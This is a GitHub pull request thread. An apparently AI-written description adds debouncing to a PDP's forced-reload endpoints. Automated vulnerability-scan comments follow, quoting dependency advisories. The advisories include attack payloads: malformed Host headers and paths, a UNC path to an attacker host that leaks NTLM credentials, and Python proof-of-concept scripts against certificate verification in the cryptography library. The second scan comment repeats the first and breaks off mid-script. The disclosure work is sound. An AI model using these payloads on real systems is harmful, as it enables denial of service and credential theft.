feat: debounce forced-reload trigger endpoints (PER-15248)

[dshoen619]

What & why

Closes PER-15248.

Even with auth enforced (PER-15244/45/46), a valid-token caller or a buggy SDK can hammer the forced-reload trigger endpoints, each of which forces a full re-pull from the shared control plane — a load-amplification vector across the fleet. This adds a small per-updater debounce so redundant/concurrent forced reloads coalesce instead of amplifying.

There are four amplifying routes, not two (the issue lists two): the OPAL-mounted POST /policy-updater/trigger and POST /data-updater/trigger, plus the PDP's legacy aliases POST /update_policy and POST /update_policy_data, which call the same two updater methods directly. All four are now debounced.

How

• horizon/debounce.py — DebouncedTrigger: per-updater coalescing. Monotonic-clock window check; an in-flight guard that collapses concurrent triggers into the running pull regardless of the window (a full pull can run for minutes under a degraded control plane, so a time-window alone would still admit a concurrent pull every N seconds); _last_fired recorded only on success, so a failed pull doesn't burn the window; None (never 0.0) sentinel so the first trigger on a freshly booted host isn't silently coalesced.
• horizon/pdp.py: the OPAL-mounted handlers are closures we can't intercept, and a FastAPI dependency can't short-circuit to a 200 no-op — so we remove the two OPAL routes and re-register PDP-owned, enforce_pdp_token-gated, debounced replacements at the same paths (fail-loud if a path is missing, preserving the old guard's safety). The two legacy aliases share the same per-updater debouncers, so an alternating hammer still coalesces. This retires the previous _gate_opal_trigger_routes dependant-surgery.
• horizon/config.py: PDP_TRIGGER_DEBOUNCE_SECONDS (default 10.0; 0 disables; remote-config overridable fleet-wide, so ops can raise it to 30–60s under a degraded control plane without a release).

Decisions & scope

• Descoped /kong (issue lists it as optional): /kong resolves against the local OPA cache (horizon/enforcer/api.py), so hammering it loads only that one PDP — no control-plane amplification, which is the entire threat model here. It also needs a different control (a genuine per-request rate limit), not a debounce that would return stale authz decisions. If local self-DoS on /kong is a concern, it should be its own issue.
• "Pick N from the OPAL polling cadence" — there is no polling cadence; this PDP is pubsub-driven. Used a fixed, configurable, conservative default instead.
• Semantic shift (data route): previously a 200 from /data-updater/trigger meant the inline base-data fetch had completed; with debouncing a 200 now means "a recent or in-flight pull already covers you." Body stays exactly {"status": "ok"} so SDKs never error-spiral. The policy route already had fire-and-forget 200 semantics (queue put). A disabled data updater still returns 503, checked before the debouncer so a 503 never consumes the window.

Tests

New horizon/tests/test_trigger_debounce.py (12 tests): within-window coalescing (policy + data + canonical/legacy sharing one debouncer), fires-again-after-window, 0 disables, in-flight coalescing past the window, failed pull doesn't burn the window, 503-before-debouncer, per-updater independence, per-instance state, and auth still enforced. Full suite green (130 passed); ruff check + ruff format --check clean.

⚠️ Draft — rebase pending

Based on origin/main before #326 (PER-15250) merged. #326 adds tests asserting the exact updater kwargs this change preserves (force_full_update=True, data_fetch_reason="request from sdk" / "…(legacy alias)"). Rebase onto main after #326 lands (minor docstring overlap in test_opal_trigger_auth.py) and re-run the gates before marking ready.

Reviewed by a backend-architect pass over the diff (verdict: ship) confirming the in-flight guard has no interleaving await, the success-only timestamp holds, and the debouncer is reachable only from the 4 routes (internal OPAL pubsub/reconnect resync bypasses it).

🤖 Generated with Claude Code

[linear-code]

PER-15248

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:9733f040a4c04de938a3e8d97cfbc45cd6abc3313a9547255bc985fc37e7984c
vulnerabilities
platform	linux/amd64
size	132 MB
packages	248

📦 Base Image python:3.13-alpine3.23

also known as	3.13.14-alpine3.23 e0e75f8d10947da66ae425727cad4e480c65f32018367f4006f9eba40c48cd5c
digest	sha256:72c39ab9dbf2227aa91ec2246e6492260ee2530c36bdf37b208394b42d757b60
vulnerabilities

starlette 0.50.0 (pypi) pkg:pypi/starlette@0.50.0 Allocation of Resources Without Limits or Throttling Affected range >=0.4.1 <1.3.1 Fixed version 1.3.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.397% EPSS Percentile 33rd percentile Description Summary request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body. The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size. Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. Mitigation Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...). Server-Side Request Forgery (SSRF) Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.368% EPSS Percentile 30th percentile Description Summary When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. Details StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O. Impact Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved. Improper Validation of Unsafe Equivalence in Input Affected range <=1.0.0 Fixed version 1.0.1 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N EPSS Score 1.839% EPSS Percentile 77th percentile Description Summary In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Details When a client requests http://example.com/foo, it sends: GET /foo HTTP/1.1 Host: example.com Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example: GET /foo HTTP/1.1 Host: example.com/abc?bar= reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed. Impact Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere. Mitigation Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.213% EPSS Percentile 12th percentile Description Summary When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs. When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. Details HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector. Impact An application is affected when all of the following hold: It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument. The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response. This also affects frameworks built on Starlette, like FastAPI. Mitigation Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute. Improper Input Validation Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 3.7 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.187% EPSS Percentile 9th percentile Description Summary In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host. Details When a client requests a path that does not start with /: GET @<!-- -->google.com HTTP/1.1 Host: localhost affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path: request.url == "http://localhost@<!-- -->google.com" request.url.hostname == "google.com" request.url.path == "" The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not. This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"]. Impact Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers. Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

cryptography 48.0.1 (pypi) pkg:pypi/cryptography@48.0.1 Affected range <49.0.0 Fixed version 49.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N Description Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. Details The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run. let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should only In testing, this fix removed the exponential blowup without breaking apparent correctness. duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829 PoC The following script benchmarks processing times for malicious cert chains. import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) .not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case) Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. Observable Timing Discrepancy Affected range >=44.0.0 <50.0.0 Fixed version 50.0.0 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N Description Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: invalid RSA padding → Decryption failed valid padding, bad key length → Invalid key size (N) for AES., disclosing N correct length, wrong key → Invalid padding bytes. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. Credit Reported by @X1AOxiang. Affected range <49.0.0 Fixed version 49.0.0 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P Description Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. PoC #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") Impact Acceptance of invalid certificate chain.

ddtrace 3.19.8 (pypi) pkg:pypi/ddtrace@3.19.8 Uncontrolled Resource Consumption Affected range <4.8.2 Fixed version 4.8.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.441% EPSS Percentile 36th percentile Description Impact Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed. Patches This is resolved in version 4.8.2 and later of the dd-trace-py library Workarounds If users cannot upgrade immediately: Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently). Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb). Resources Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j

busybox 1.37.0-r30 (apk) pkg:apk/alpine/busybox@1.37.0-r30?os_name=alpine&os_version=3.23 Affected range <=1.37.0-r30 Fixed version Not Fixed EPSS Score 0.285% EPSS Percentile 21st percentile Description

golang.org/x/crypto 0.53.0 (golang) pkg:golang/golang.org/x/crypto@0.53.0 Affected range >=0 Fixed version Not Fixed Description The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used. If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:9733f040a4c04de938a3e8d97cfbc45cd6abc3313a9547255bc985fc37e7984c
vulnerabilities
platform	linux/amd64
size	132 MB
packages	248

📦 Base Image python:3.13-alpine3.23

also known as	3.13.14-alpine3.23 e0e75f8d10947da66ae425727cad4e480c65f32018367f4006f9eba40c48cd5c
digest	sha256:72c39ab9dbf2227aa91ec2246e6492260ee2530c36bdf37b208394b42d757b60
vulnerabilities

cryptography 48.0.1 (pypi) pkg:pypi/cryptography@48.0.1 Affected range <49.0.0 Fixed version 49.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N Description Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. Details The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run. let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should only In testing, this fix removed the exponential blowup without breaking apparent correctness. duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829 PoC The following script benchmarks processing times for malicious cert chains. import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) 